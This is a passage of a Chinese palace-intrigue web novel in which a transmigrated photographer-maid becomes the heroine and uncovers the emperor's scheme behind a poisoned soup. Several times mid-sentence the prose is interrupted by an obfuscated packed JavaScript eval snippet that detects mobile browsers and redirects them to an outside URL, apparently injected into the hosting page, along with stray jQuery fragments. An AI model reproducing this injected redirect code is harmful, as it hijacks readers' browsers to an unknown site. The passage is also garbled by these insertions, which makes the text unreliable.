慧妃叩首谢恩,“谢陛下,然臣妾刚自冷宫思过返回,”此前也未曾管理宫务,实在难堪此大任,恳请陛下收回成命。” 皇帝还没说什么,皇后却叩首回话,从齿缝里硬挤出来的一句话打断了慧妃的婉拒:“臣妾遵旨,谢陛下。” 皇帝看皇后跪拜的身影一眼,唤她身边的贴身宫女,“还不将皇后送回宫思过?” “是。”皇后身边的宫女赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128581|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧起身,将皇后扶起来,携皇后所带的一众宫人起驾离开了潆霞宫。 皇后一走,皇帝总算可以亲自弯腰,将慧妃扶起来,慧妃攀着他的袖子才站直,脸上的表情像是吓坏了。 “怎么了?”皇帝低声问她,声音极尽温柔。 慧妃失魂落魄,急急喘着气,额上都是冷汗,久久才翕动着失去血色的唇说:“我想回家……” “好,”皇帝双手扶着她,一口答应下来,“等过些时日,朕下一道省亲圣旨。” “不,我想回家……”慧妃带着哭腔重复了一遍请求。 皇帝脸上的笑意顷刻间敛去,对旁边吩咐道:“慧妃惊吓过度,扶她去休息。” “是。”离得最近的桃儿和杏花连忙起身,一左一右扶着慧妃。 “回宫。”皇帝对安居进下令。 慧妃见他要走,想要追上去,却被桃儿和杏花拦着,只能再一次看着他的背影请求:“从隐,求求你,我想……” “起驾——” “回家”二字隐没在了皇帝起驾的仪式里。 慧妃被桃儿和杏花扶到了椅子上,宫人们得桃儿示意,都站起来,忙各自的事去了,邝叶看着慧妃的样子突然感同身受,她也想回家…… 从袖中取出琉璃透镜,上面显示的却不是【续命功能冻结中】,而是【女主角色变更中】,不知道又抽什么疯…… “叶儿,过来,”杏花打了盆水来,桃儿本想亲自为慧妃擦拭,却两只手都被慧妃紧紧握着,只能让邝叶来帮忙。 邝叶索性把琉璃透镜塞回袖中,去到慧妃和桃儿身边。 凉水擦脸,缓了好久,慧妃才平静下来。 桃儿好歹松了一口气。 慧妃这样失控的一面,别说是其他人了,就是跟她一起长大的桃儿也没见过,一时间手忙脚乱的。 不过邝叶一如既往地迟钝倒是在这时候显出了好来,有那么点儿宠辱不惊、安之若素的味道了。 桃儿心说果然没看错她,才想夸她两句,却听到慧妃突然叫她。 “叶儿,”邝叶听见慧妃唤她,连忙低头,对上了那双眼,从那双眼的眼底传达出来一片冰凉,“你当初自请跟随,是陛下授意么?” 语意清晰,逻辑清楚,这绝不是慧妃还处于惊吓中而胡言乱语,而且,邝叶不认为慧妃会被那小皇后吓成这样。 这下不只是邝叶本人,桃儿和杏花也是摸不着头脑。 “不、不是,没有。”邝叶连忙摇头,她并非辩解,更没有说谎,可在慧妃心里已经预设了这是事实,邝叶无论怎么回答,都会作为佐证。 “我明白了。”慧妃用很轻的声音说,手撑着几面站起身,让桃儿和杏花扶着她去偏殿休息。 邝叶被留在了正殿,像被落单的幼崽,不知所措。 她只能隐隐觉察到:慧妃,好像很不高兴…… 可是,不对啊,皇帝和慧妃据说两小无猜、情好甚笃,那慧妃得知皇帝在她身边安插了人保护她,她应该感动才对…… 慧妃是封建社会需要遵守三从四德的女人,又不像自己是个爱自由的野人。 琉璃透镜从袖子里滑了出来,系在手腕上的水红色棉绳一紧,扯了邝叶的手腕一下,她拿起来看,发现上面的字变成了【女主由“邱桃染”变更为“邝叶”】。 12. 名场面十二 【女主:邝叶。】 女主,我?! 穿过来也有一周了,因为游离于故事外,邝叶对于自己“灵魂穿进了一本宫斗文”这件事是不太有实感的。 她只是个想活下去的摄影师,前世拍野生动物,今生拍宫斗名场面,镜头对准谁,谁就是她的主角。现在好了,镜头自己调了个头,把她这个扛机器的人装进了取景框里。 邝叶抬高手臂,让那块琉璃透镜对着光,平视它,透镜转了两圈,把光从不同角度折射出去,上面有关女主变更的提示却没变,什么事也没发生。 透镜并没有因她抢了原女主桃儿的身份,而清空她获得的寿命或是给她发布新的任务,脑子里也没有其他的记忆涌进来。 也就是说,邝叶的摄影师身份和女主身份并不冲突,再想深一点儿,“女主角”这个身份在这本宫斗文里的生态位和她这个摄影师差不多——起到一个观察和记录的作用。 也可以说,女主只是个摄像头,谁干都一样,剧情并不围绕女主发展,真正承载剧情的另有其人,成为女主对邝叶拍名场面续命一事没有帮助。 不然,为什么都穿来一周了,却没有任何名场面发生在原女主桃儿身上? “叶儿!” 邝叶听到有人叫她,忙垂下手臂,看向门口的来人。 竟是穿着素淡的茵绿,进门前还特地看了一圈殿内,确认慧妃和桃儿都不在,才凑到邝叶身边,一张红润质朴的脸笑的见牙不见眼,“听说,你要得皇上赏钱了?” 邝叶露出了不解的神情,皇帝上一次说要给她的赏银,不是因为她御花园冲撞圣驾一事不了了之了吗? “还跟你老乡我装呢!”茵绿拿胳膊肘戳了邝叶一下,脸上仿佛与邝叶与有荣焉,“就算皇上不赏你,你第一个揭发赐膳有毒,让我们娘娘既解了禁足,又能代摄后宫事,娘娘必定会赏你。” “她不是这样的人。”邝叶更正道,慧妃的刚才崩溃的表现,绝不会是高兴于能够代理后宫。 邝叶意识到了有什么不对,茵绿却没能从她面无表情的脸上察觉什么,继续眉飞色舞,“你出人头地了,别忘了带你老乡我去吃顿好的啊,我早就想好了……” “你怎么知道是我揭发?”邝叶是等她说完展望之后才开口发问,话音一落,茵绿的笑脸僵了僵,堪堪维持在了“皮笑肉不笑”的状态。 “听伺候午膳的说的,哎,你不认得她,她不能近身服侍,只是端水的。” 邝叶作为社交苦手,确实不认得几个人,潆霞宫的宫女又都是和原主记忆有出入的新人,她最熟的,除了慧妃和桃儿,居然就是照顾过她的茵绿了。 邝叶“哦”了一声,沉默下去,茵绿不停找话头跟她聊,每一个话题都被她在两句话内把天聊死,茵绿终于放弃,推说自己有活儿,不能再摸鱼,便走了。 目送茵绿跑出正殿的身影,邝叶在心里有了个猜想,但还不确定,须找到当事人求证。 邝叶提起裙子,跑出正殿。 目前,她依然需要作为摄影师收集名场面,慧妃这里依然是她最好的容身之处,但慧妃显然因为她阻挡用膳和在皇帝面前说实话的行为,把她看做是皇帝安插到自己身边的人,可能也在怀疑她泄露了她们偷偷处理赐膳一事。 邝叶跑到廊下,往西侧的寝殿走。 有皇帝作靠山,又有一起呆过冷宫的情分,慧妃不会伤害她,但再也不会信她了,慧妃会把她当成一个外人,会使计把她调走,调不走则让潆霞宫的人把她孤立起来,逼她自己走。 邝叶走进了寝殿,马上放轻了脚步,先见到的,是坐在桌前守着的桃儿。 如果是原主叶儿,可能会默默忍下这种霸凌,偷偷伤心难过,等明主良心发现为她申冤。但邝叶不是这样的人,她真去过原始丛林,她才不等靠要,她会争拼抢。 桃儿见到她,忙站起来赶她,声音刻意压低:“你来干什么?没看到主子正在气头上?快走快走,等主子好点儿我帮你说几句话。” 邝叶看着这个刚在命运使然之下被自己夺走了身份,却一无所知的原女主,问道:“你也觉得我是陛下安排的人?” 桃儿露出了为难的神色,这让她怎么说呢,她自然不希望叶儿是在皇帝授意下才跟随慧妃和她去了冷宫,这会让当初感人的“人间真情”大打折扣,也让在冷宫相伴的日子显得廉价,但如果叶儿真是皇帝派来保护的慧妃的,她应该感恩于皇恩浩荡、感动于娘娘盛宠不衰、感慨陛下娘娘的美好真情…… “我不是,”邝叶直白地说,“眼线另有其人,我是来向娘娘揭发的;我也知道了赐膳是谁所为,特来与娘娘求证。” “你……”桃儿一时说不上来话,“怎么突然变得这么伶牙俐齿了……”是内线身份被揭穿不再装了吗? 邝叶却趁桃儿一个不注意,迅速绕进了内室,来到了慧妃床边。 慧妃坐在账床床沿,鞋袜没有褪下,衣裙没有更换,平视前方,眼里空空,仿佛会一直这么枯坐下去,见邝叶闯入,也只是瞥她一眼。 “娘娘,我有话要说。”邝叶却没有行礼,这一声很不礼貌的开场白,像要把对方喊回魂。 “你别叨扰主子,快走。”桃儿追进来,嘴上说要赶她出去,拦她的手臂却没使力,此刻的桃儿是矛盾的,既好奇她要说的东西,又想尽自己的职责拦住她。 “茵绿是给皇上通风报信的人。” 邝叶说完,慧妃转过脸来,以往常从来没有过的认真神情注视着她,但不言语。 以手圈住邝叶的桃儿如同被施了定身咒,手空抬着,实则没使力将邝叶往外带。 邝叶灵巧地向下一蹲,脱离桃儿的手臂组成的那个圈,扑到到床边蹲下,离慧妃更近了,手差一点儿碰到慧妃的膝盖。 对上慧妃投来的目光,邝叶咽了口唾沫,慧妃没有叫桃儿把她拉走,也没有推开她,对方愿意听她说…… “那碗毒羹,是皇上授意……对么?”邝叶便直接说了。 此话一出,慧妃骤然间睁大了眼,从震惊中缓过来后,仓皇地左右看了看,桃儿接收到她的目光,立刻警醒,自觉走到外间望风。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128582|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你如何知道?”慧妃低头看着邝叶的眼睛,刻意降低声音,她本应该装聋作哑,说“听不懂你在说什么”,严厉些,该把这非议皇帝的宫女拖出去掌嘴,可她太想太想有个人知道她的处境,太想有人分担了。 不等邝叶回答,慧妃又马上站起身,连退两步,与床边的邝叶拉开距离,再度充满防备,“你试探我?” 邝叶摇摇头,那双小动物似的眼珠子无辜地看着慧妃,“我向您求证。”现在证实了…… 毒羹是皇帝授意,而慧妃从邝叶夺下那碗羹时就知道了幕后主使,也知道了布这个局的目的,所以才会选择息事宁人,但没想到,潆霞宫因为有茵绿存在,有不止一个茵绿存在,慧妃偷偷倾倒赐膳之事还是传出去,传到了皇后耳朵里。 “我没有什么能给你证!你昏了头了,说这样以下犯上的话?”慧妃高声斥责,她想有人分担心事不假,但不代表她会马上毫无疑虑地接受邝叶,也不能说她会对这个在一盏茶前还被怀疑的人投注信任,“你再妄言招惹祸端,我就将你调走,便是陛下也拦不了!” 然而慧妃突然间的凶悍,在邝叶眼里不过是色厉内荏,邝叶手扶着床,面不改色,像跟一头炸毛示威的雌兽对峙一样看着慧妃,回答对方的第一个问题:“茵绿在我面前说漏嘴了,她肯定是毒羹知情人,问一问她就知道。” 慧妃撩起垂到额前的碎发,状似自然地道:“陛下要赐死我,一杯毒酒、三尺白绫,可以光明正大下旨,何须绕这么个圈子……” 没必要跟一个宫女说这么多,何况对方还很可能是皇帝安插的人……慧妃也不知道自己在干什么,怀疑自己可能也昏了头了…… 邝叶站起身来,和慧妃平视,说:“可他不想你死,他想你当皇后。” 这不对!慧妃一时间甚至忘了呼吸,心里默念着,这不对,这天气不对,怎么能是阳光明媚、安定祥和,此时该大雨滂沱,有一声惊雷劈下来才对。 这样堪称大逆不道的话,这个她拼命掩盖的秘辛,就这么轻飘飘的被一个宫女说出来了。 皇帝差使人在太后赐膳里做手脚,就是为了好找借口废后,新皇后的人选业已选好,就是慧妃,为此,他不惜冒着让慧妃中毒的风险,在邝叶和慧妃发现异样选择倒掉午膳息事宁人之后,还要让人挑唆皇后来治慧妃的罪,他好及时出现,再借题发挥惩治皇后…… “但你不想,你想回家。”邝叶又把敬称给丢了。 慧妃好一会儿才缓过来,又问了一次:“你是如何得知?” “你们青梅竹马,情深义重,他想让喜欢的女人当皇后不是很平常的事吗?”邝叶表示,这不是很明显吗? 慧妃却冷冷哼了一声,说了句轻得几乎听不到的话:“我情愿与他从来不认识……” 他的野心太大了,我一介凡俗女子,当初竟因为一两首诗词里的交心,就以为自己是他的知己,就妄想配得上他的野心。 慧妃想起往事,嗤笑一声,她收回目光,看向邝叶,叹道:“没想到,知己不在诗词歌赋,亦不在相识多年……” 13. 名场面十三 屋外的阳光仍是很好,暮春时节,总有些愁绪生长,又因风光旖旎总能将愁绪吹散。 慧妃坐回床边,问邝叶话,却不看她,只将手帕展开铺在膝上,“你是突然良心发现,想要指认同伙来向我投诚?你想要什么?” “我想留在您身边。”邝叶感觉慧妃态度好了许多,便把目的如实告知。她想要留在慧妃身边,才能更快地回家,她和慧妃一样,都想回家。 “只是如此而已么?”慧妃抬头看向邝叶,膝上的手帕被她对折四次,折成了一个扁扁的豆腐块,“只是想留在潆霞宫,所以叛主投我?” 邝叶没有马上回答。 慧妃本就因为宫女叶儿在病后性格改变有所怀疑,中午又发生她提前夺走毒羹,方才在正殿时她却又配合皇帝惩处皇后…… 种种行为,慧妃能做出的合理判断便是:宫女叶是去年八月慧妃被罚入冷宫时,皇帝安排在慧妃身边的眼线,因着七个月的相处,她和慧妃及桃儿建立感情,于是不忍心眼睁睁看着慧妃吃下毒羹,夺之,但又不能反抗皇帝的命令,只能派同伴把此事传出去,利用“拒食赐膳”一事引来皇后,又在皇帝面前陈情作证,以达到皇帝削弱皇后,扶持慧妃的目的。 邝叶倒不懂这些弯弯绕绕的心理啊,计谋的,但她直觉这是个很危险的问题,需要谨慎回答! 慧妃开始愿意信任她了,但她必须解释清楚,她为什么能做到提前知道那盅羹有问题。 当然不能说琉璃透镜的事,说了,慧妃看不到上面的字,只会以为她在发疯扯谎,更加怀疑;也不能不说,不说就是刻意隐瞒,亦引人怀疑。 而要命的一点是,邝叶语言能力不行,不擅长撒谎……真想叫桃儿进来帮忙啊…… 等了好一会儿,邝叶才斟酌好词句,答道:“我看到的,我看到羹有问题,我不是皇上的人。” 慧妃收起那方手帕,“这倒是奇了,那盅羹食材都炖烂了,我和桃儿什么都看不出,你却能看到里头加了我不能吃的雪蛤。” 邝叶只会梗着脖子重申:“我、我就是看到了!”看到的是琉璃透镜上的倒计时。 邝叶有些懊恼,早知这样,当时任由慧妃把毒羹吃下去会不会更好?那样的话,不会惹慧妃怀疑自己,还能拍到名场面,不至于被冻结一星期的寿命……虽然有些对不起这具身体的原主叶儿。 原主叶儿是真的很喜欢慧妃,在她的记忆里,尽管一开始自请跟随慧妃是存了“她落难我跟随,待皇上给她复位,我便是宠妃的心腹大宫女”的心思,但经过后来的相处,她是真把慧妃当亲人一样。 邝叶用着她的身体,却旁观她的亲人服毒,还要借此来给自己获得新的寿命——这实在太过分。 而在慧妃眼里,邝叶此刻梗着脖子只会嘴硬的形象,跟在冷宫时被误会却不懂辩解的叶儿重叠了……她们之间七个月的陪伴是真的,七个月的患难与共是真的,难道因为目的不纯就能通通抹杀了么? 叶儿本可以装不知道眼看着自己吃下那碗毒羹,这样一来就不会暴露,然而她没有……她最后一刻的“良心发现”不正是她在自己和皇权之间,更偏向于自己的证明吗?就如为了自己去御花园拦截皇上那次。 “主子,叶儿说的其实有道理……”桃儿不知什么时候出现在了珠帘内,她方才应该一直在珠帘边偷听,邝叶和慧妃之间的谈话,除了刻意压低音量的,其他的应该都听到了,“她这么钝的脑子,陛下身边能人众多,怎么会选她当眼线呢?她可是连偷听这种事都做不好啊……” 邝叶心说:知道你在为我说情,但是这话怎么越听越怪呢? 慧妃看了看桃儿,又看了看邝叶,她们三人现在的样子,很像在冷宫时,木讷寡言的叶儿和失意冷淡的自己,因为活泼动人的桃儿从中斡旋而联系到了一起。 慧妃突然觉得很累,自从复位回到潆霞宫起,这所有都令她疲惫不堪…… 眼见着慧妃靠着檀木床围,闭着眼,揉捏眉心,桃儿为邝叶辩白的声音也愈来愈小,直到最后停下了…… 慧妃总算说话:“我累了,你们都出去吧……” 重新取得慧妃信任、保证自己继续留在潆霞宫一事到此仍没有结果,但邝叶的衣袖被旁边的桃儿扯了一下,她只好跟着桃儿一起行礼后退到外间。 晚膳时间快到了,桃儿替慧妃决定了不传膳,只说留了几样面果子,等慧妃晚间饿了吃。 邝叶一如往常,跟在桃儿身边,桃儿见她比平常的木讷更多添了几分魂游天外的死样子,心说怎么我的主子和我的跟班都这幅模样,忍不住宽慰她:“陛下和我们主子正闹着别扭,我们主子恼他呢,等再过两天他们和好了,再不会提把你调走的事儿,你放宽心吧!” 邝叶回给桃儿一个比哭还难看的笑。 那俩人和好么,那可不见得。 邝叶是嘴巴笨,但脑子不蠢,老天为了弥补她捉急的语言能力,给了她如动物般敏锐的直觉,这让她在原始丛林里能够追踪野生动物,并将它们的生活拍摄下来,也让她在这由人组成的丛林能够趋利避害,不被同类所伤。 “真的,”桃儿怕她不信,左右看了看,低声道,“陛下是为着太后重新临朝一事发愁……” 福宁宫。 “陛下今日怎么竟有空来与哀家用晚膳?”太后接过帕子拭了拭沾湿的手,望向坐在下首的皇帝,带着笑容的脸上看着竟也有一些慈爱。 皇帝也笑答:“朕甫一听闻太后康复,便想来亲自探望,然而朝政繁忙,只得晚膳才得来见,还望太后勿怪。” 他甚至接过宫女端着的汤碗,双手亲自捧给太后,做足了一副孝子的模样,然而却没有喊过一句“母后”。 太后却像是不计较那细枝末节的东西,她也只称皇帝为“陛下”,而不叫“儿”,大家都心知肚明的事儿,已没有伪装的必要。 太后接过皇帝递来的汤碗,少少尝了一口,便又道:“陛下这半月以来独自料理朝政,感觉如何?” 皇帝似乎是早已准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128583|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备好了许多说辞,做出一副大为苦恼的神情,摇着头道:“太后可不要再提还政与朕一事,没了太后作后盾,朕这半个月啊,简直是焦头烂额,真恨不得也躲着称病不出。” 太后因又笑了,指着桌上一样菜肴让皇帝尝,自有宫女拣菜呈给皇帝,太后道:“怎么,成王竟也没能帮陛下分忧解难么?” “别提了,成王一听闻太后病倒,还政于朕,当堂便也要朕撤去他摄政王之位,竟也要还政与朕,亏得朕再三相劝,才劝住了他,若无成王,朕半个月可真不知道怎么办……”他说的极为恳切,仿佛一个庸碌却极有自知之明的皇帝,想要马上知难而退,让太后和成王两个能人继续把持朝政,他就做个尊贵摆件即可。 “成王的确是老了……”太后捏着象牙箸,却不见拣菜,“哀家也老了,陛下千万要早些自立,万一哀家与成王哪一天去了,这天下,可就指着陛下了。” 她嘴上说着“老”,可没有一点儿服老的样子,说着“哪天去了”,却好像玩笑,话里话外暗讽皇帝会走在她前头,而她会继续掌控朝堂、坐拥江山。 “怎么会呢!”皇帝语气显得十分抗拒,“太后福祚绵长,定会长命百岁,永保我高氏江山社稷。” 祝福的话听在太后耳里是说不出的阴阳怪气,太后笑了一声,放下箸,伸手要漱口的茶水,“哀家一个半截入土的老婆子,不过为了与先帝的恩情,为高家江山社稷献绵薄之力罢了,哪天突然死了,九泉之下见了先帝也算对得起嘱托,陛下才是皇室正统所在呢。” 太后接过茶水漱了口,说太医嘱咐,大病初愈,进食不宜过饱,便不再吃。 皇帝忙附和:“确是身体要紧。” “是啊,哀家这半个月,全靠皇后那孩子,才16岁的年纪,竟能为哀家亲自侍疾奉药……”太后拿起宫女刚呈上来的茶盏喝茶。 皇帝知道,这是要问到为什么禁足皇后一事了。 “哀家知道皇后古板,不会附庸风雅,不得陛下喜欢,可皇后心性纯然,德行堪称典范,此番的确是她疏忽大意,该罚,罚过这次也就算了,要是再揪住不放,倒显得陛下咄咄逼人了。” 皇帝没说什么,也放下筷,命人要茶水漱口。 太后把空盏放回,继续道:“莫忘了,此次赐膳是皇后得了哀家授意才施行,皇后有错,哀家也脱不了干系。” “那可大不一样,太后是长辈,您要赐死慧妃都是对的,可皇后此次显然是打着太后的旗号陷害慧妃,如此恶劣,朕不罚不行,太后既已为江山社稷忧心,为着身体着想,就别再为朕的家务事忧虑了。” 皇帝没吃送上来的茶,推说,太后刚刚病愈,不打扰太后清净便告辞,一对假母子的一顿充满话语机锋的饭,草草结束…… 皇帝出了福宁宫,立马像变了一个人,周身散发着一股拒人于千里之外的冷意。 “去潆霞宫。” “是。” 慧妃应该已经缓过来了,他此刻需要一个知己作伴。 14. 名场面十四 潆霞宫。 吃过晚饭,夜色开始笼罩潆霞宫,宫灯次第点亮,昏黄的光晕在回廊下摇曳,却驱不散那份沉甸甸的压抑。 慧妃躺在床上,没有合眼,桃儿问过她要不要吃几个面果子垫垫肚子,她却只喝水,旋即继续躺在床上,望着帐顶,不知在想什么。 桃儿倒是乐观,说主子在家时就这么样,不高兴了躺个大半天也就好了,是以跟邝叶在慧妃的寝殿外间守着的时候,俩人还能边聊八卦。 准确些说,是邝叶单方面在听桃儿说八卦。 吃瓜是大多数人类的天性,邝叶虽然自诩野人,但也不能免俗。 真要究其原因,其实是桃儿为了宽慰邝叶,也为了证明她支持的皇帝和慧妃这对爱侣天造地设、情比金坚,都是因为有恶婆婆存在才充满艰难险阻,比如慧妃被废入冷宫一事。 据说慧妃以前是个爽朗爱笑的女子,被废入冷宫后才性情大变,郁郁寡欢。这件事的始末,即使邝叶查看原主记忆,也只有道听途说的只言片语,毕竟原主当时只是负责洒扫的低等宫女。 桃儿就不一样了,桃儿作为慧妃一直以来的贴身使女,她是亲历者。 彼时是中秋节,宫里宴请群臣,官员们的妻子自然也受邀参与,慧妃在中秋宴上得了自己两年未见的闺中密友所赠予的《织霞诗社集》。 织霞诗社,正是慧妃和密友及另外几位小姐未出阁前起的诗社,这些年社友们一起作的诗被密友整理,并出了诗集。 中秋宴次日,慧妃与皇帝在御园水榭赏残荷,皇帝听闻慧妃与社友们作的诗出书成册,便要求慧妃念诵诗集里的秋愁诗,慧妃念了好几首,念到自己所作的《秋愁其四》,感叹流年易逝的同时,也想起旧年趣事,不由得大笑出声。 不巧,太后突然出现,以慧妃的笑声太大失仪,引发自己心慌为由要治慧妃的罪,皇帝的求情也只让慧妃多了一条又一条的罪行,皇帝只能妥协,下旨将慧妃废为庶人,迁居冷宫。 ——此为传播最广、最浅显的版本。 “其实……”桃儿说到此处左看右看,清了清嗓子,要邝叶给她倒一杯水,邝叶抄起桌上的水壶忙倒了一满杯水来,桃儿喝了一口,继续道,“其实,我后来听主子说,她写的那首诗,听起来像影射两位先太子。” 邝叶的古代史储备知识让她不足以理解这个事儿的严重性,并没有做出桃儿期待的惊讶表情。 桃儿只好凑近,压低了声音说:“也即是说,诗集里那首,主子15岁写的那首诗,听起来像嘲讽太后连死两个儿子……” 邝叶连忙了然地连连点头。 怪不得能把太后气病呢,怪不得能把太后气得无论如何要把慧妃打入冷宫呢…… 可是,邝叶意识到了奇怪的地方,慧妃为什么非要念自己写的《秋愁其四》呢?为什么还要边念边笑?她不知道她的诗很像在影射太后的两个儿子吗? 刚想问问桃儿,就见几道灯笼的暖光朝这边来,打眼一看,竟是御前的太监,对方五官生得较粗犷,比之内侍太监,更像个武夫,他边走来边向邝叶两人打手势,那架势,好似要跟对面两个小姑娘练练。 邝叶不认识他,下意识向桃儿求助,桃儿认得这是金全忠公公,对对方点头示意,随后一把将邝叶拎起来,跟自己一块儿低头、站好。 两人刚站好,便进来了那熟悉的明黄色身影,桃儿刚要开口见礼,被他抬手阻止,于是桃儿和邝叶只能屈膝行礼而不出声。 邝叶心说,您今天是不是出现得太频繁了呢? 往腰间系着的琉璃透镜看,上面果然出现了【名场面:旧年知己今决裂。(提前出现)00:03:00】。 算上这个,今天已经有三个提前出现的名场面了,收录了也没法得到寿命,不收录又要扣掉她的寿命……邝叶有了种吃鸡肋,食之无味,弃之可惜的感觉。 皇帝没出声,打手势示意他们都留在外间,自己则放轻脚步向慧妃休憩的内室走去。 桃儿戳了戳邝叶,以眼神表示:看吧,我就说他们会和好。 然而,随着邝叶裙摆上的透镜的倒计时走到【00:00:02】时,邝叶听到了一声凄厉的哭声,她忙趁众人都在怔愣,跑到了珠帘边,透镜置于右眼前,一眨眼,收录成功。 内室的皇帝听到了她的动静,转头往这边看了一眼,好在邝叶一收录完就松开透镜,让其自己垂下了。 跪在地上的慧妃则没有注意到她,拉扯着皇帝的袍角,大声哭求他让她回家:“你废黜我,丛隐,你把我休弃回家,我削了头发,我去做姑子……我求你了,求你了……我后悔了,陛下,我后悔了,不该自以为是,我该听太后的,我配不上帝王家……” 慧妃显然已经情绪崩溃,皇帝却与她正相反。 “爱妃说的哪里话,朕怎么可能废黜你,”他甚至弯下尊贵的腰,亲自将慧妃扶到床上,语气宠溺地说,“朕与你约定那日就说过,朕的身边,就是你的家!” 慧妃却被那温柔宠溺的话语吓得连哭声都不敢再发出,牙关紧咬,身上抖的像筛糠。 “还不进来服侍慧妃?” 皇帝陡然拔高声音,把珠帘后呆愣的邝叶喊回魂了,知道叫的是她,连忙进去,来到慧妃身边,任由慧妃像抓救命稻草一样死死抓住她的左手手腕,另一只手取出帕子,给慧妃轻轻地擦泪。 见邝叶被唤进去,桃儿和金全忠怕有什么要帮忙的,便也进入里间。 皇帝见桃儿也来了,从袖中取出一封信来,那是慧妃白日里让桃儿寄给忠义候府的家书。 “不过是一封家书,何必让宫女偷偷地寄,朕替你寄岂不是更快?”说罢他笑了,又将信收回袖中,“放心,朕不会私拆他人书信……只是朕也很久没见萧大公子了。” 这是隐形的威胁……邝叶感到被抓住的左手左腕又紧了紧,连忙伸手拍拍慧妃单薄的后背安抚。 这次反而轮到桃儿不知所措地站在原地,好一会儿,才插科打诨着谢恩告罪:“都是奴婢不好,主子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128584|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只怕麻烦了别人,奴婢就寻人自行寄出了,早知道也该禀报陛下一声才是呢……” “你倒是一贯的会说话,”皇帝夸桃儿,又吩咐身边的金全忠,“差个人,去给慧妃抓一副安神的药方。” “不必劳烦,我们已经抓药了,大夫说睡前吃。”一直一言不发的邝叶陡然出声阻止,其实心里有更难听的话没说出来:您不来,她根本不用吃药。 桃儿瞪她一眼,不要命了,皇帝你都敢拒绝得这么生硬! “你们倒考虑得周全,”皇帝抬手召金全忠回来,又突然想起了什么,说,“朕近来得了一方好砚,想着爱妃喜欢,想给爱妃送来。” 慧妃还在时不时抽噎,没有任何表示,桃儿连忙笑着行礼,代慧妃谢恩。 “只是朕才去探望太后,那方砚未曾带在身上,还得要人跟着朕回宫拿,”他顿了一顿,锐利的眼神最终落在邝叶身上,“就你吧,桃儿好生看顾慧妃。” 邝叶想指着自己问“啊?我吗?”,但忍住了。 “是。”桃儿应下了,不断的给邝叶使眼色,要她也快点应下。 邝叶看了看慧妃,又看了看皇帝,也应了声“是”,随即掰开慧妃握住她手腕的手。 慧妃紧张地看向她,她只对慧妃轻轻点了点头。 皇帝又嘱咐了慧妃几句好好休息之类的话,带着一行人加一个邝叶起驾离开了。 邝叶本来该是跟在宫女队伍里,可金全忠不断给她使眼色,是要让她干些什么,但她不懂什么意思,气得金全忠直接上手推搡她。 邝叶疑惑:这是甚么奇怪的封建社会人的职场霸凌吗? “叶儿,你到朕身边来,陪朕走一段吧。”直到皇帝亲自下令,金全忠把灯笼递给她,邝叶才懂了金公公方才推搡她是为什么。 说是“陪走一段”,实际上还是要低头给皇帝打灯笼,邝叶作为摄影师,有一套自己的克制手抖的能力,是以,她提灯笼提的特别稳。 皇帝只顾着往前走,她就不一样了,她要提灯笼,还要注意每个岔路口,以防自己等会儿回来迷路。 路上静得出奇,只有衣料摩擦与轻轻的脚步声,越静,反而越焦灼。 “你当初,何故自请跟随慧妃迁居冷宫?”皇帝冷不丁发问,打破了平衡。 邝叶悄悄看了一眼,皇帝仍目视前方,并未看她,好像只是随口一问。 这个问题有两版答案,功利版和真情版,皆来自原主的记忆,只是不知道,皇帝更喜欢功利版的还是真情版的了。 “回陛下,奴为自己的前程,也为与娘娘的患难之情。”因为不知道,所以邝叶两个各答一半。 “慧妃说你老实木讷、笨嘴拙舌,朕看不然。” “谢陛下。” 她只道了谢,就没再言语,真的是只陪他走。 皇帝很少能遇到这样需要自己找话题的状况,向来都是身边人拼命钻研,不让他的话掉地上。 这个宫女很像太后……果然不能掉以轻心。 15. 名场面十五 潆霞宫和皇帝居住的德庆宫离得不远,很快就走到了,这一路,皇帝除了问过邝叶当初自请去冷宫的缘由后,没有再问其余的。 到达后,皇帝带着金全忠径自去往殿内批奏折,有宫女接过了邝叶手里的灯笼,让她稍作等候。 